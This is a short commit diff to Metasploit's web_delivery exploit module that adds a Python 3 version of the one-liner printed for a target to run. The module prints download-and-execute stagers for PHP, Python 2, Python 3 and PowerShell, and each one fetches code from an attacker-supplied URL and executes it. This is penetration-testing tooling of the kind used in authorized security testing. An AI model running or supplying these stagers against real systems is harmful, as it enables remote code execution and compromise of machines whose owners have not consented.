added the python3 syntax to the web_delivery script
parent
c0c1ac39bd
commit
e51063aa56
|
@ -86,7 +86,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
when 'PHP'
|
||||
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
|
||||
when 'Python'
|
||||
print_line("python 2:")
|
||||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||
print_line("Python 3:")
|
||||
print_line("python3 -c \"import urllib.request; r = urllib.request.urlopen('#{url}'); exec(r.read());\"")
|
||||
when 'PSH'
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
|
||||
|
|
Loading…
Reference in New Issue